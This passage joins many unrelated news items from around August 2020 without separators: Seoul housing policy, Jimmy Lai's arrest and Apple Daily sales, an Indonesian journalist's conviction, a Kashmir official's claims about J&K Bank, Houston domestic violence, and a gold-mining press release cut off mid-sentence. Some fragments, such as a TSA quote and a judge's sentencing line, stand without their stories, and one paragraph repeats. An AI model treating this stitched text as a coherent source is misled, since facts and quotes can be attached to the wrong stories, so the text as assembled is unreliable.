mentioned that the multiple government measures were slowly having an effect is another matter. The average price of an apartment in Seoul has risen 52 percent in the past three years during which the administration has put forth 23 sets of real-estate measures. The recent passage of three laws related to renting apartments has been hiking up the price of the uniquely Korean rental system of "jeonse." The President was joined in his defense of the real estate policies by FInance Minister Hong Nam-ki who called a press conference to do so. The administration's well-meaning intentions to protect real estate consumers and terminate speculation must realistically reflect people's rightful desire to own and live in good housing to be effective. There may well be a reason that some members of the public in Nowon-gu, northern Seoul, and Yeouido are taking to the streets to protest the real-estate measures. The onslaught of 23 sets of measures has already overwhelmed the public. Yet, in a worrisome signal, the President has said the government is considering setting up a separate watchdog to regulate the market. The ministry concerned, the Ministry of Land, Transport and Infrastructure, has said that nothing has been determined. Creating yet another administrative layer in the form of a watchdog may not be what the Korean housing market needs at this point. Hong Kongers rushed to buy pro-democracy newspaper Apple Daily on Tuesday in a show of support for its owner, who was arrested a day earlier as police rounded up critics of China. A crackdown on dissent in Hong Kong has gathered pace since China imposed a sweeping security law in June, with opposition politicians disqualified and activists arrested for social media posts. The moves have provoked outrage in the West and fear for millions who last year took to the streets to protest communist Chinas tightening grip on the semi-autonomous city. In one of the most dramatic days of the crackdown, media tycoon Jimmy Lai was among 10 people detained under the new law on Monday as around 200 police officers searched the newsroom of his tabloid, which is unapologetically critical of Beijing. In a show of solidarity for Lai, people in the city rushed to buy Tuesdays Apple Daily, with the newspaper saying it had upped its print run to 550,000 from its normal circulation of 70,000. One restaurant owner bought 50 copies at a news stand in the commercial district of Mong Kok, saying he planned to give them away for free. Since the government doesnt allow Apple Daily to survive, then we as Hong Kongers have to save it ourselves, the man, who gave his surname as Ng, told AFP. The newspapers front page showed a picture of Lai being led away in handcuffs with a headlinein typical lurid red charactersthat said Apple will fight on. Dozens of people lined up in Mong Kok and around the city to buy the paper, with some also paying vendors in advance so other people could take a copy for nothing. Hong Kong is a place with press freedom, but the police now suppress press freedom in a high-profile way. I feel very angry, said a woman called Chan, who bought 16 papers. With Hong Kongers too fearful to stage mass protests like last year, and with events in recent weeks showing even dissenting social media posts could be punished, some looked to other inventive ways to show solidarity. Lais arrest sparked a buying spree in shares of his media group, and its stock value rose by nearly 1,000 percent on Tuesday from Monday morning. Eviscerated Hong Kongs new national security law criminalises secession, subversion, terrorism and colluding with foreign forces. The most serious crimes under the law, which was introduced on June 30 and is not supposed to be retroactive, carry up to life in jail. Its broadly worded provisions criminalised certain political speech overnight, such as advocating sanctions, and greater autonomy or independence for Hong Kong. Similar laws are used on the authoritarian mainland to snuff out opposition. Lai, 71, was held on charges including colluding with foreign forces, as well as fraud, in an operation targeting his Next Digital publishing group. Among the others arrested were two of Lais sons, young pro-democracy activist Agnes Chow and Wilson Li, a former activist who describes himself as a freelance journalist working for Britains ITV News. Even as police were conducting interrogations, Beijing hailed Lais arrest, declaring him an anti-China rabble-rouser who conspired with foreigners to stir up chaos. Critics believe the law has ended the key liberties and autonomy that Beijing promised Hong Kong could keep after its 1997 handover by Britain. US Secretary of State Mike Pompeo, who met with Lai last year, described Lais arrest as further proof that Chinese authorities had eviscerated Hong Kongs freedoms and eroded the rights of its people. Were going to respond in real ways, Pompeo later promised in an interview with Newsmax. Advertisements The United States had last week already imposed sanctions on a group of Chinese and Hong Kong officialsincluding city leader Carrie Lamin response to the crackdown. China condemned the sanctions as barbarous and imposed retaliatory sanctions on some senior American politicians and leading human rights campaigners. In a late-night briefing, Hong Kongs police said those arrested were part of a group that had previously lobbied for foreign sanctions. After the national security law came into force, this group was still active, senior superintendent Li Kwai-wah told reporters. (AFP) Diananta Putra Sumedi, a former chief editor of online local media banjarhits.id, was found guilty and sentenced to three months 15 days for his reporting of a land dispute. The International Federation of Journalists (IFJ) and its affiliate the Alliance of Independent Journalists (AJI) Indonesia express dismay over the conviction and call on authorities to stop criminalising journalists. Diananta Putra Sumedi in the courtroom. Credit: The Coalition for the Human Rights of Indigenous Peoples and Press Freedom The panel of judges lead by Meir Elisabeth at the hearing in Kotabaru District Court, South Kalimantan on August 10 said that Diananta was guilty of inciting hatred and breaching the code of journalism ethics. The judges ruled he violated the article of 28 of the Information and Electronic Transactions Law (ITE Law). Diananta was arrested by the special crimes investigation directorate of South Kalimantan despite the Indonesian Press Council resolving the dispute in January, 2020. He published an article on a land conflict entitled Johnlin seizes land, Dayak complains to the South Kalimantan Police on November 9, 2019 in banjarhits.id, a partner of national news media Kumparan. Sukirman from a Dayak community council filed a report against Diananta after the publication of the article. Although the dispute has been resolved through mediation process in the Press Council, the trial of Diananta still continued. Criminalisation of journalists is an ongoing violation against journalists in Indonesia. Despite the fact that the police have signed a memorandum of understanding with the Indonesian Press Council to settle legal disputes, journalists are still being dragged before the courts. Speaking to the reporters after the trial, Diananta said that the conviction is a very bad precedent for press freedom in Indonesia. AJI said: The attempts of the Press Council to resolve this case did not stop the case to be brought to trial. It shows that ITE Law can be easily used to criminalise and intimidate journalists and critical media covering land disputes. The IFJ said:IFJ has monitored Dianantas the case closely, including preparing an amicus curiae submission, and fully supports the settlement reached by the Press Council. It is disappointing that authorities have overridden the Press Councils decision. IFJ regrets the conviction and urges the authorities to seriously ensure journalists safety and press freedom in the country. Srinagar, Aug 11 : Scam stories in Jammu and Kashmir are unique in their own way and the CMD of Jammu and Kashmir Bank was scamster number one, Chief Secretary BVR Subrahmanyam has said. The officer said that the separatists made Jammu and Kashmir almost like Pakistan and he was told by Prime Minister Narendra Modi before his appointment as the Chief Secretary in the then full-fledged state in June 2018 to clean up the administration, rebuild the region and hand it over to the people of Jammu and Kashmir. "Scam stories about J&K are unique in their own way. This is the only place in the country which has its own bank. No state government had their own banks," Subrahmanyam said on the first anniversary of the abrogation of Article 370 of the Indian Constitution. All erstwhile rulers of Indian states had their own banks, like Bikaner, Jaipur, Hyderabad and Mysore that were just associated banks of State Bank of India, and they all have now merged, he said. "The J&K Bank CMD is the scamster number one. I knew it from the day one.... It was identified through its lovely way of milking the state... they politicians) were milking the state directly through the bank. There are about 20 families or a maximum of 30 who milked the J&K Bank. The common man does not know it." "Because it is a banking institution and one does not want to disturb it," the 1987-batch IAS officer said, "common people think J&K Bank is a showpiece of the region, but it is different when I bring out the truth." The officer said that J&K Bank guesthouses are luxuries and its officials' lifestyles are big. "The pay scales of the bank staff beat the private sector, and all this goes on on government money. That is the worst part," he said. The officer said he got a resolution passed in the Cabinet in November 2018 on the issue. "If we own 60 per cent, so you are a public-sector bank. It's a statement of fact. It's not a decision. You will be submitting your annual report to the legislators. You will be subject to the jurisdiction of the RTI (Right to Information) and you will follow CVC (Central Vigilance Commission) norms. "All Public-Sectors Banks follow these norms. I had an agitation on my hand for 20 days; the bank was closed and it was said that the identity of Jammu and Kashmir has been wiped out and PSUs have rotten in J&K. "But, it's a statement of fact that they (politicians) don't want scrutiny of the bank. The Finance Minister and the Leader of the Opposition in Jammu and Kashmir had an agreement that they would not raise questions on J&K Bank in front of Assembly Speaker in the Union Territory because they knew that they would be naked. It is only because of these scams." The Chief Secretrary said he has a 'black diary' and its three pages are full of scams. "If I go into scams, all will be caught. Everybody is complacent." He said that the separatist speak 'ham bane Pakistan (we will be Pakistan) "(They) made (Jammu and Kashmir) Pakistan. This is how Pakistan is run. Sixteen families control Pakistan and 600 families control Jammu and Kashmir. There is no difference. That is the story before the Governor's rule came in Jammu and Kashmir in 2018." Subrahmanyam was appointed as the Chief Secretary in place of BB Vyas on June 20, 2018, the day when the erstwhile state was put under the Governor's rule after the three-year-old PDP-BJP coalition government collapsed on June 19, 2018. The Chhattisgarh-cadre officer said these scams are the reason he was brought here as the Chief Secretary from another state because "I have no open friends" here. "It's a fact of life... there is a lot of cleaning required in the system. The government said that there has to be reservation in promotions, pass the Acts and pass the rules. Somebody approaches the court and the court strikes it down. Can you believe, the state does not appeal against it. It does not appeal against its rules struck down in a High Court. Nobody knows about it... it's a cover-up operation of the highest level." Subrahmanyam said that when he came to Jammu and Kashmir, Prime Minister Narendra Modi had directed him to do three things -- cleanup the place, better the system and return back to them their heritage. (Rajnish Singh can be contacted at rajnish.s@ians.in) Mr William Agyapong Quaittoo, the outgoing Member of Parliament (MP) for Oda Constituency has cut sod for the construction of classroom blocks to be funded by the Ghana Education Trust fund (GETFund). He said with the GETFund, the Constituency had benefitted from boys dormitory and teachers bungalow at Attafuah Senior High Technical School (SHTS), classroom blocks at Oda Senior High School, St. Francis Senior High Technical School and classroom blocks at some basic schools at Aboabo. The MP who is Chairman of the Education Committee of Parliament cut the sod for the construction of classroom blocks at Old Town Methodist Primary School and Oda Wesley Methodist School, consisting of six units classroom block and two units KG block respectively and another six-unit classroom block and two unit KG block at Yeboakrom and Gyadem respectively. The four projects is valued at GH1,500,000.00. Miss Victoria Adu, the Birm Central Municipal Chief Executive (MCE), during the sod cutting said the construction of classroom blocks at various schools was in the right direction for students to get sound mind in their studies. For students to get conducive environment for studies, there was the need for structural development. She called on the contractors working on the projects to do a good work to ensure durability. Mr Michael Gyamfi Kumi, a representative of the Birim Central Municipal Director of Education, expressed appreciation for the projects and assured that his office would cooperation with the contractor to finish the job on schedule. ---GNA Rhodes Business School Director, Professor Owen Skae. By David Furlonger The problem with being a small business school in a corner of SA often painted as dysfunctional is that you have to make an extraordinary case to persuade companies you can provide them with top-class executive education, says Owen Skae. The flip side of the coin is that once youve proved you can, they are incredibly loyal. So it has proved for Rhodes Business School (RBS), of which Skae is director. Whereas some schools have had a drop-off in corporate business because of Covid-19, Skae says some RBS clients have actually increased training. That, allied to growing demand for contract research, chiefly from the public sector, has cushioned the school from the worst of SAs economic problems. RBS is part of Rhodes University, in the Eastern Cape city of Makhanda, formerly Grahamstown. Both the province and the city have reputations for extreme governmental incompetence. This year, the Makhanda high court ordered that the local municipal council be dissolved and placed under administration for failing to provide basic services like sewerage, clean water and refuse removal. RBS, in partnership with the university and community, has been an active participant in efforts to improve conditions in the area. Among other functions, Skae says the school has a core role in educational upliftment. Called upon, he says, schools can play a part in improving SA society as a whole. The fallout from Covid-19 has worsened SAs already terrible record of social inequality. Only with the aid of business can the issue be confronted effectively. First, though, Skae says national politicians must overcome their mistrust of business and their belief that its only motive is self-enrichment (an ironic view, given the level of government corruption). He says: Business and government have to work together to meet the countrys challenges. Business schools want to be part of this solution. Like other schools, RBS has had to adjust its teaching methods to meet the challenges of Covid-19. Skae says it was thrust willingly into online teaching but looks forward to the return of some face-to-face classroom teaching. While there are undeniable cost and convenience advantages to online communication, its not a panacea. He says: We all have to ask ourselves what is the best possible teaching model that takes into account all the factors we will encounter down the line. After 10 years as director, Skae is looking forward to the school finally moving into its own building. Since its launch in 2000, the school has lodged in the universitys theatre school. Skae hopes lack of teaching and administrative space will be a thing of the past when the school moves to the universitys main administration block, as part of a plan to bring together various divisions of the commerce faculty. No date has been finalised for the move but Skae says: The university has always had other spending priorities but now it has funding available for us. We hope to have a custom-made facility. Source: https://www.businesslive.co.za Please help us to raise funds so that we can give all our students a chance to access online teaching and learning. Covid-19 has disrupted our students' education. Don't let the digital divide put their future at risk. Visit www.ru.ac.za/rucoronavirusgateway to donate By Akbar Mammadov Land Forces and Air Force's fighter aircraft have been involved in the Azerbaijani-Turkish joint large-scale exercises, the Defense Ministry said on 11 August. The first stage of the Azerbaijani-Turkey joint large-scale live-fire tactical exercises continues with the participation of Land Forces. During this stage, the units of Land Forces have trained complex tactical elements. Using modern weapons, the units carried out tasks of repelling an imaginary enemy attack. Earlier, on August 10, crews of fighter aircrafts of Azerbaijani and Turkish Air Forces conducted training flights during the first stage of the joint Azerbaijani-Turkish tactical flight exercises "TurAz Kartali - 2020". According to the scenario of the training phase, the military pilots trained pilotage techniques, as well as paired and group flights. The crews of the combat aircrafts could successfully fulfill the assigned tasks. The Land and Air forces of the two countries are participating in the military exercises held in line with the agreement on military cooperation between Azerbaijan and Turkey, in accordance with the annual plan. According to the plan, exercises involving the Land Forces were held from August 1 to 5 in Baku and Nakhchivan, while exercises involving the Air Forces will be conducted from July 29 to August 10 in Baku, Nakhchivan, Ganja, Kurdamir and Yevlakh. Thus, the personnel, armoured vehicles, artillery and mortars, combat and transport helicopters of the Air Forces, as well as air defence and anti-aircraft missile divisions of the two armies, will be involved in the military exercises. --- Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97 Follow us on Twitter @AzerNewsAz Even more concerning is that 80% of the firearms coming into the checkpoint are loaded, and its just an accident waiting to happen, said David Pekoske, the agencys administrator. Travelers need to know that if they bring a gun to the security checkpoint, regardless of whether it is in a handbag, knapsack, roller-bag or strapped to their belt, it will be an inconvenient and expensive mistake on their part. But the judge imposed the maximum sentence on each of the misdemeanors four counts of assault, a hit-and-run and destruction of property which amounts to more time than the mandatory sentence for the hate crime. In partnership with Facebook, the MPIs programme aims to lift peoples spirits amid challenging times In response to the prime ministers call for enhancing the national spirit in the fight against the COVID-19 pandemic as well as promoting economic recovery, last week the Ministry of Planning and Investment (MPI) and Facebook launched the Vitality of Vietnam programme, aiming to promote national image, encourage investment, develop human resources for businesses, and support community development. Under the Proud Vietnam project launched by the MPI last year and following the success of the Immense Vietnam initiative on promoting tourism, Vitality of Vietnam includes a series of meaningful activities comprehensively implemented in a number of fields to support businesses, promote tourism and innovation, and support local communities during and after the pandemic. The scheme will provide business skills through a series of online workshops as well as strategies for businesses to find and develop national human resources through social media. Under the scope of Proud Vietnam, until the end of the year both parties will implement several initiatives targeting different groups, including one on a series of short films and music videos about autistic children and another in a bid of supporting people with visual impairment. According to Minister of Planning and Investment Nguyen Chi Dung, Vietnams politics, economy, and society are characterised by stability and have achieved great stature, prestige, and position in the international arena. The MPI and Facebook will work closely together to introduce what makes Vietnam unique as a country, support our business community and private sector, develop communities, and promote investment, Minister Dung said. The Vitality of Vietnam programme makes every citizen a messenger He pointed out that every citizen needs to uphold the true values of being Vietnamese: loving the country, taking pride in people, and standing together as one. All of us need to be bold and work harder to move forward and make Vietnam a strong and prosperous country. We believe that such welcoming conditions will help people know more and come to Vietnam, and join us in fulfilling our aspirations and realising our dreams, he said. The partnership is one of Facebooks key initiatives dedicated to Vietnam, among the activities to celebrate 25 years of diplomatic relations between the country and the United States. We have marked a historic milestone in diplomatic relations between the two countries, which has been strengthened by our relations in trade, investment, and strategic cooperation, said Adam Sitkoff, executive director of the American Chamber of Commerce in Vietnam. We highly appreciate the efforts of businesses like Facebook that have contributed to reaffirming and actualising the long-term commitment of US businesses in particular to Vietnam through the contribution and investment in socioeconomic development and long-term prosperity. Vitality of Vietnam also officially launched the Each Citizen is an Ambassador campaign to encourage people to become an ambassador in fighting COVID-19 and contributing to economic growth and recovery. People are encouraged to film and submit a 2-3 minute video sharing the values that Vietnamese people have achieved in fighting the coronavirus. The meaningful messages gained from the campaign will be a source of encouragement for the whole country to overcome difficulties together. Simon Milner, vice president of Public Policy Asia-Pacific for Facebook explained, We are very honoured to enter into official cooperation with the MPI of Vietnam. This marks an important milestone in our support to Vietnams small- and medium-sized enterprise community and the people of Vietnam. We intend to collaborate on bringing training and other assistance to such enterprises, promoting innovation, and supporting local communities in Vietnam in line with the MPIs post-pandemic economic recovery plans. As COVID-19 continues its grip on Texas, the pandemics effects on family violence in the Houston area continues to be increasing. Advocates anticipated that stay-at-home orders coupled with economic distress would further isolate victims and compound violence, as research on other natural disasters show the correlation. Victims are becoming increasingly more vulnerable to tactics of their abusers, said Emilee Dawn Whitehurst, president and CEO of the Houston Area Womens Center. COVID has been weaponized by abusers. They are using it as a way to further intimidate victims and coerce them to stay in situations that are truly untenable. The number of murders involving domestic violence in Harris County increased from March through July compared to the same time frame last year, according to the Harris County Sheriffs Office. There were nine such murders in the county from March through July. There were four in that time last year. The sheriffs office meanwhile responded to 1,128 reports of family violence assaults and aggravated family violence assaults in March through June. Thats a 19 percent increase compared to those months last year. Indicators Because not every instance of violence is reported to police, the extent of the problem may be worse than preliminary data from law enforcement agencies suggests, according to groups who serve survivors. The Houston Area Womens Center emergency hotline, which helps victims assess the extent of the risk they face of being killed by abusers, received 3,019 calls in April. In June, that number jumped to 4,249, an increase of 1,230 people calling for help. Advocacy groups say the issue appears to be worsening each month of the pandemic. I think whats happening now is the economic disruption has compounded stress and that stress can translate into increased violence, said Whitehurst. Im not surprised what we were initially calling a spike in violence has in fact continued as an ongoing surge of people in danger. The womens center placed 114 people in hotel rooms as temporary shelter from March to June, compared to 18 total during those months last year. The increase is due in part to the need to reduce the capacity at the shelter in order to prevent the further spread of COVID-19. The agency has also begun providing direct client assistance with checks of up to $1,500 for qualifying families via grants from the city and the county. The money allows victims to escape financial abuse, in which a perpetrator controls all of a victims money, said Whitehurst. AVDA, a nonprofit that provides legal services to survivors of domestic violence, reports it has seen a 90 percent increase in requests for help with divorce and child custody cases in June compared to April. Requests for protective orders tripled in that time, AVDA reports. Courts granted five of the nonprofits clients rare lifetime protective orders in two months. Previously, the same number of protective orders had been granted to AVDA clients in the span of an entire year. Many were waiting for the right opportunity to leave their marriages, said AVDA CEO Maisha Colter. When COVID hit, people didnt know if they could access our services. Victims were also uncertain about whether family courts were still processing cases, Colter added. After a campaign to let clients know about their services, the nonprofit increased its attorneys caseloads to meet the new demand, Colter said, and a therapist has been contracted to provide free therapy as well. Requests for protective orders tripled in that time, AVDA reports. Courts granted five of the nonprofits clients rare lifetime protective orders in two months. Previously, the same number of protective orders had been granted to AVDA clients in the span of an entire year. Protective orders, both temporary and long term, are live-saving tools, Colter said. We consider them a priority for a persons safety, said Colter. It gives the victim the ability to access law enforcement in the event the perpetrator comes into contact with them. Preventing fatal violence Before the pandemic, Harris County consistently ranked number one in Texas for the highest number of most women killed by intimate partners. Advocacy groups, like HAWC, have been working for years to prevent those homicides by providing immediate access to safety for victims. As were on ground working so hard and responding so proactively, I think we want to believe we are able to change the outcomes at the collective level for this community, said Whitehurst. I know that we are saving lives, but it is heartbreaking to hear that even though any given night we are housing more people than ever before, we are still failing to keep others safe. Its rare that the people ultimately killed by their intimate partners ever contacted the womens center for shelter or assistance, Whitehurst said. What that tells us is we need to make sure people know of our services, she said. When people reach out, if we can provide services we can save lives. hannah.dellinger@chron.com Advertisement A lion is pictured taking it easy at a Doncaster wildlife park as temperatures soar across the UK. The King of the jungle relaxed at the Yorkshire Wildlife Park, Doncaster, as the park celebrates World Lion Day. The photographs, taken on August 10, show the big cat lying down and enjoying the summer sun. Yorkshire Wildlife Park is highlighting the plight of wild lions who are under threat in their native habitat. They saved the park's lions from terrible conditions in a Romanian zoo and brought them to a new life in Yorkshire in 2010 after a public appeal to save them. The big cat - one of six at the park - enjoyed the sunshine and lazed about in the heat. I'm lion down: The big cat takes a nap in the summer heat Enjoying the sun: The big cats were rescued from a Romanian zoo and brought to the UK for a new life Lazy days: The lion soaks up the sun at the Yorkshire Wildlife Park Relaxing: Two of the park's six lions lie down in the heat Cooling down: The King of the jungle had a lie down in the Yorkshire sun Taking it easy: The Park celebrated World Lion Day on August 10 Easy does it: The big cat has a yawn and stretch in the sunshine Manhattan Tech Support Long time customer, we highly recommend this company for all of your IT needs - John G. ManhattanTechSupport.com LLC has been named as one of the worlds premier managed service providers on the prestigious 2020 annual Channel Futures MSP 501 rankings. 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We extend our heartfelt congratulations to the 2020 winners and gratitude to the thousands of MSPs that have contributed to the continuing growth and success of both the 501 and the thriving managed services sector. Ten MSP 501 special award winners will be recognized at the MSP 501 Awards Gala at Channel Partners Virtual: Digital Events for the Modern Channel on September 8 10. Nominations for these special awards, including Digital Innovator of the Year, Executive of the Year and the Newcomer Award, were included in the MSP 501 application, and all candidates were encouraged to submit for them. The data collected by the annual MSP 501 program drives Channel Partnerss and Channel Futuress market intelligence insights, creating robust data sets and data-based trend reports that support our editorial coverage, event programming, community and networking strategies and educational offerings. It serves as a lynchpin to dozens of programs and initiatives. The complete 2020 MSP 501 list is available at Channel Futures. Background The 2020 MSP 501 list is based on data collected by Channel Futures and its sister site, Channel Partners. Data was collected online from Mar. 1 through June 30, 2018. The MSP 501 list recognizes top managed service providers based on metrics including recurring revenue, profit margin and other factors. About ManhattanTechSupport.com LLC ManhattanTechSupport.com LLC, an award-winning full-service technology partner for SMBs and enterprises in New York City, specializes in managed IT services including cutting-edge cybersecurity and digital transformation solutions to help businesses increase productivity, stay safe from cyberattacks and foster growth through the efficient use of technology. Distinguished in the industry for world-class customer service and 24/7 availability, we offer companies the full breadth and depth of a sophisticated IT department for one flat monthly fee with no contracts ever. Today, our innovative technology solutions and IT experts continue to create sustained value for our clients through various strategies and initiatives that are tailored to propel SMBs into the future. About Informa Tech Channel Futures, Channel Partners Online, Channel Partners Conference & Expo and Channel Partners Evolution are part of Informa Tech, a market-leading B2B information provider with depth and specialization in the Information and Communications (ICT) Technology sector. We help drive the future by inspiring the Technology community to design, build and run a better digital world through our market-leading research, media, training and event brands. Every year, we welcome 7,400+ subscribers to our research, more than 3.8 million unique visitors a month to our digital communities, 18,200+ students to our training programs and 225,000 delegates to our events. MEDIA CONTACT: Allison Francis Editor, Channel Futures & Channel Partners Editor, MSP 501 Allison.Francis@informa.com Auteco Completes Initial Expenditure Payment Requirement VANCOUVER, CANADA / ACCESSWIRE / August 11, 2020 / First Mining Gold Corp. ("First Mining" or the "Company") (TSX:FF)(OTCQX:FFMGF)(FRANKFURT:FMG) is pleased to announce that Auteco Minerals Ltd ("Auteco")(ASX:AUT) has notified First Mining that it has fulfilled the initial $750,000 exploration expenditures requirement under the earn-in agreement on the Pickle Crow Gold Project ("Pickle Crow") located in Northern Ontario, regarding the first portion of Auteco's stage 1 earn-in requirements. Auteco commenced an aggressive exploration program in May at Pickle Crow , which included an extensive drill campaign, and as a result its initial exploration expenditures, which were required to be completed within 12 months, have now been completed in 4 months. "We are delighted with the progress that our partners at Auteco have made in advancing the Pickle Crow Gold Project" stated Dan Wilton, CEO of First Mining. "This partnership has already surfaced significant value for First Mining shareholders and highlights the potential value of each of the projects in our robust portfolio of Canadian gold assets. With a well-funded strategy, which included Auteco raising A$30.4 million last month, Auteco continues to increase their understanding of the Pickle Crow district as they advance an expanded drill program, now planned for 10,000 metres." In order to complete the remaining requirements of the stage 1 earn-in and thereby earn a 51% interest in PC Gold Inc. ("PC Gold"), the Company's wholly-owned subsidiary that owns Pickle Crow, Auteco will need to incur a further $4.25 million in expenditures relating to Pickle Crow within the next two years, and Auteco will need to issue a further 100 million shares to First Mining on or before the date these expenditures have been completed. Auteco announced on July 30, 2020, that a second diamond rig had recently arrived on site to test shallow, high-grade targets. As of that date, 3,800 metres of the expanded 10,000-metre program has been drilled. Since then, Auteco has established a 24-person camp at the Pickle Crow site to ensure that exploration can continue year-round. First Mining plans to update the market on the results from Auteco's ongoing drilling as they are released. Auteco finished their quarter with A$4.8 million cash on hand and raised A$30.4 million via a share placement in July 2020. Auteco is now well funded to execute on the $10 million earn-in requirements to earn up to an 80% interest in PC Gold (and thereby, Pickle Crow). Once Auteco has fulfilled all requirements in the earn-in agreement, First Mining will hold a 20% interest in PC Gold (and thereby, Pickle Crow) which will be free carried until the earlier of the termination of the earn-in agreement or a decision to production is made. In addition, once Auteco has completed its Stage 2 earn-in requirements to increase their interest to 70%, First Mining will be granted a 2% net smelter returns ("NSR") royalty by Auteco on Pickle Crow, of which 1% may be bought back by Auteco for US$2.5 million. Further details on the earn-in agreement are provided in First Mining's January 27, 2020 news release, and further details on Auteco's Pickle Crow drill program are provided in their news release from May 27, 2020 as well as their June 2020 quarterly activities report released on July 30, 2020. Qualified Person Hazel Mullin, P.Geo., Director, Data Management and Technical Services of First Mining, is a "Qualified Person" for the purposes of National Instrument 43-101 Standards of Disclosure for Mineral Projects ("NI 43-101"), and she has reviewed and approved the scientific and technical disclosure contained in this news release. About First Mining Gold Corp. First Mining is a Canadian gold developer focused on the development and permitting of the Springpole Gold Project in northwestern Ontario. Springpole is one of the largest undeveloped gold projects in Canada, currently hosting a mineral resource base of 4.67 million ounces of gold in the Indicated category and 0.23 million ounces of gold in the Inferred category1. A Pre-Feasibility Study is underway, with completion targeted in early 2021, and permitting is on-going with submission of the Environmental Impact Statement targeted for 2021. The Company also holds a large equity position in Treasury Metals Inc. that is advancing the Goliath-Goldlund gold project towards construction. First Mining's eastern Canadian property portfolio also includes the Pickle Crow (being advanced in partnership with Auteco Minerals Ltd.), Cameron, Hope Brook, Duparquet, Duquesne, and Pitt gold projects. First Mining was created in 2015 by Mr. Keith Neumeyer, founding President and CEO of First Majestic Silver Corp. ON BEHALF OF FIRST MINING GOLD CORP. Daniel W. Wilton Chief Executive Officer and Director For further information, please contact: Spiros Cacos | Vice President, Investor Relations Direct: +1 604 639 8825 | Toll Free: 1 844 306 8827 | Email: info@firstmininggold.com www.firstmininggold.com Note: 1. These numbers are from the independent technical report titled "Preliminary Economic Assessment Update for the Springpole Gold Project, Ontario, Canada", dated November 5, 2019, which was prepared by SRK Consulting (Canada) Inc. in accordance with National Instrument 43-101 Standards of Disclosure for Mineral Projects ("NI 43-101") and is available at www.sedar.com under First Mining's SEDAR profile. Readers are cautioned that the PEA is preliminary in nature, it includes inferred mineral resources that are considered too speculative geologically to have the economic considerations applied to them that would enable them to be categorized as mineral reserves, and there is no certainty that the PEA will be realized. Cautionary Note Regarding Forward-Looking Statements This news release includes certain "forward-looking information" and "forward-looking statements" (collectively "forward-looking statements") within the meaning of applicable Canadian and United States securities legislation including the United States Private Securities Litigation Reform Act of 1995. These forward-looking statements are made as of the date of this news release. Forward-looking statements are frequently, but not always, identified by words such as "expects", "anticipates", "believes", "plans", "projects", "intends", "estimates", "envisages", "potential", "possible", "strategy", "goals", "objectives", or variations thereof or stating that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved, or the negative of any of these terms and similar expressions. Forward-looking statements in this news release relate to future events or future performance and reflect current estimates, predictions, expectations or beliefs regarding future events and include, but are not limited to, statements with respect to: (i) timing for Auteco incurring the remaining Pickle Crow expenditures , and issuing 100 million shares of Auteco to First Mining, in order to complete the remaining portion of the stage 1 earn-in requirement; (ii) timing for the mobilization of a third drill rig to Pickle Crow; (iii) the Company's plans to update the market on the results from Auteco's ongoing drilling as they are released; (iv) Auteco being well funded to complete all earn-in requirements with respect to PC Gold and Pickle Crow and the interests in Pickle Crow that the Company will retain following the completion of the earn-in; (v) the Company's focus on developing and permitting Springpole towards production; (vi) timing for the completion of a Pre-Feasibility Study for Springpole and the announcement of the results of such a study; (vii) timing for the submission of an Environmental Impact Statement for Springpole; (viii) the Company holding a large equity position in Treasury Metals Inc.; and (ix) realizing and unlocking the value of the Company's gold projects for the Company's shareholders. All forward-looking statements are based on First Mining's or its consultants' current beliefs as well as various assumptions made by them and information currently available to them. There can be no assurance that such statements will prove to be accurate, and actual results and future events could differ materially from those anticipated in such statements. Forward-looking statements reflect the beliefs, opinions and projections on the date the statements are made and are based upon a number of assumptions and estimates that, while considered reasonable by the respective parties, are inherently subject to significant business, economic, competitive, political and social uncertainties and contingencies. Many factors, both known and unknown, could cause actual results, performance or achievements to be materially different from the results, performance or achievements that are or may be expressed or implied by such forward-looking statements and the parties have made assumptions and estimates based on or related to many of these factors. Such factors include, without limitation: the Company's business, operations and financial condition potentially being materially adversely affected by the outbreak of epidemics, pandemics or other health crises, such as COVID-19, and by reactions by government and private actors to such outbreaks; risks to employee health and safety as a result of the outbreak of epidemics, pandemics or other health crises, such as COVID-19, that may result in a slowdown or temporary suspension of operations at some or all of the Company's mineral properties as well as its head office; fluctuations in the spot and forward price of gold, silver, base metals or certain other commodities; fluctuations in the currency markets (such as the Canadian dollar versus the U.S. dollar); changes in national and local government, legislation, taxation, controls, regulations and political or economic developments; risks and hazards associated with the business of mineral exploration and exploration drilling programs, development and mining (including environmental hazards, industrial accidents, unusual or unexpected formations, pressures, cave-ins and flooding); the presence of laws and regulations that may impose restrictions on mining; employee relations; relationships with and claims by local communities, indigenous populations and other stakeholders; availability and increasing costs associated with mining inputs and labour; the speculative nature of mineral exploration and development; title to properties.; and the additional risks described in the Company's Annual Information Form for the year ended December 31, 2019 filed with the Canadian securities regulatory authorities under the Company's SEDAR profile at www.sedar.com, and in the Company's Annual Report on Form 40-F filed with the SEC on EDGAR. First Mining cautions that the foregoing list of factors that may affect future results is not exhaustive. When relying on our forward-looking statements to make decisions with respect to First Mining, investors and others should carefully consider the foregoing factors and other uncertainties and potential events. First Mining does not undertake to update any forward-looking statement, whether written or oral, that may be made from time to time by the Company or on our behalf, except as required by law. Cautionary Note to United States Investors This news release has been prepared in accordance with the requirements of the securities laws in effect in Canada, which differ from the requirements of U.S. securities laws. Unless otherwise indicated, all resource and reserve estimates included in this news release have been prepared in accordance with NI 43-101 and the Canadian Institute of Mining, Metallurgy, and Petroleum 2014 Definition Standards on Mineral Resources and Mineral Reserves. NI 43-101 is a rule developed by the Canadian Securities Administrators which establishes standards for all public disclosure an issuer makes of scientific and technical information concerning mineral projects. Canadian standards, including NI 43-101, differ significantly from the requirements of the SEC, and mineral resource and reserve information contained herein may not be comparable to similar information disclosed by U.S. companies. In particular, and without limiting the generality of the foregoing, the term "resource" does not equate to the term "reserves". Under U.S. standards, mineralization may not be classified as a "reserve" unless the determination has been made that the mineralization could be economically and legally produced or extracted at the time the reserve determination is made. The SEC's disclosure standards normally do not permit the inclusion of information concerning "measured mineral resources", "indicated mineral resources" or "inferred mineral resources" or other descriptions of the amount of mineralization in mineral deposits that do not constitute "reserves" by U.S. standards in documents filed with the SEC. Investors are cautioned not to assume that any part or all of mineral deposits in these categories will ever be converted into reserves. U.S. investors should also understand that "inferred mineral resources" have a great amount of uncertainty as to their existence and great uncertainty as to their economic and legal feasibility. It cannot be assumed that all or any part of an "inferred mineral resource" will ever be upgraded to a higher category. Under Canadian rules, estimated "inferred mineral resources" may not form the basis of feasibility or pre-feasibility studies except in rare cases. Investors are cautioned not to assume that all or any part of an "inferred mineral resource" exists or is economically or 